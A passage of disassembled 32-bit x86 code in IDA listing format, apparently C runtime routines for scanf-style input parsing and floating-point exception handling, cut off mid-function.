mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D094, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D098, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D098
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D094, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D094, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D438
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset dword_43D310
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset dword_43D308
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE88
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D094
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D094, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D094, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D094, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D094, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE88
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE88
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D094, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE88
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D800, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDEC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D800, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
